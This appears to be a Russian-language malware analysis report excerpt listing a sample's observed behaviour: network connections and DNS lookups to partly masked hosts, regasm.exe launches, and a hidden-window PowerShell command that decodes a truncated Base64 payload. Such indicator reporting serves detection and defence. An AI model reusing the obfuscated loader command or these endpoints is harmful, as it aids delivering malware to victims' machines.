Техническая информация
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
- 'ia#####7.us.archive.org':443
- 'su######anization.com.br':443
- 'bi#######llarbank.minhacasa.tv':3033
- 'ia#####7.us.archive.org':443
- 'su######anization.com.br':443
- 'bi#######llarbank.minhacasa.tv':3033
- DNS ASK ia#####7.us.archive.org
- DNS ASK mo#####.map.fastly.net
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- DNS ASK su######anization.com.br
- DNS ASK bi#######llarbank.minhacasa.tv
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('W05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpd... (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'